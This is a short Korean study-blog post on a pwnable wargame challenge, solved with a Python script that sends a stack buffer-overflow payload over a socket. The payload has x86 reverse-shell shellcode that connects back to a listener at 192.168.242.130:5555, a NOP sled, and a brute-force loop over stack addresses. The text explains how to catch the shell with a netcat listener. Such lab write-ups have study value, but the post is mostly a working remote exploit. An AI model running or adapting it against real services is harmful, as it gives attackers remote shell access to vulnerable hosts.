1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | from socket import * import struct p = lambda x : struct.pack("<I", x) shellcode = "" shellcode += "\x31\xc0\x31\xdb\x31\xc9\x31\xd2" shellcode += "\xb0\x66\xb3\x01\x51\x6a\x06\x6a" shellcode += "\x01\x6a\x02\x89\xe1\xcd\x80\x89" shellcode += "\xc6\xb0\x66\x31\xdb\xb3\x02\x68" shellcode += "\xc0\xa8\xf2\x82\x66\x68\x15\xB3\x66\x53\xfe" #192.168.242.130 5555 shellcode += "\xc3\x89\xe1\x6a\x10\x51\x56\x89" shellcode += "\xe1\xcd\x80\x31\xc9\xb1\x03\xfe" shellcode += "\xc9\xb0\x3f\xcd\x80\x75\xf8\x31" shellcode += "\xc0\x52\x68\x6e\x2f\x73\x68\x68" shellcode += "\x2f\x2f\x62\x69\x89\xe3\x52\x53" shellcode += "\x89\xe1\x52\x89\xe2\xb0\x0b\xcd" shellcode += "\x80" for i in range(0xbfffffff, 0xbfff0000, -100): payload = "A"*44 + p(i) payload += "\x90"*(256 - 48 - len(shellcode)) + shellcode s = socket(AF_INET, SOCK_STREAM) s.connect(("192.168.242.131", 6666)) s.send(payload) s.close() | cs |
소켓 연결해서 푸는 문젠데 필터링 없어서 오버플로우는 굉장히 쉽다.
하지만 스택 주소를 모르는데 그냥 brute force(0xbfff0000 ~ 0xbfffffff) 하면된다.
일단 터미널 두개 켜놓고 하나에는 nc -lvp (원하는포트) 해서 켜두고 나머지 남은 터미널에다가 익스코드 실행하면 저렇게 연결된다.
이번 문제에서는 리버스쉘코드를 이용하는걸 배운거 같다
'Pwnable > ▷ Study' 카테고리의 다른 글
SROP 32bit, 64bit (2) | 2018.07.08 |
---|---|
pig_hunting (2) | 2018.03.01 |
lob 18 (0) | 2018.02.21 |
ftz level20 (0) | 2018.02.18 |
ftz level19 (0) | 2018.02.18 |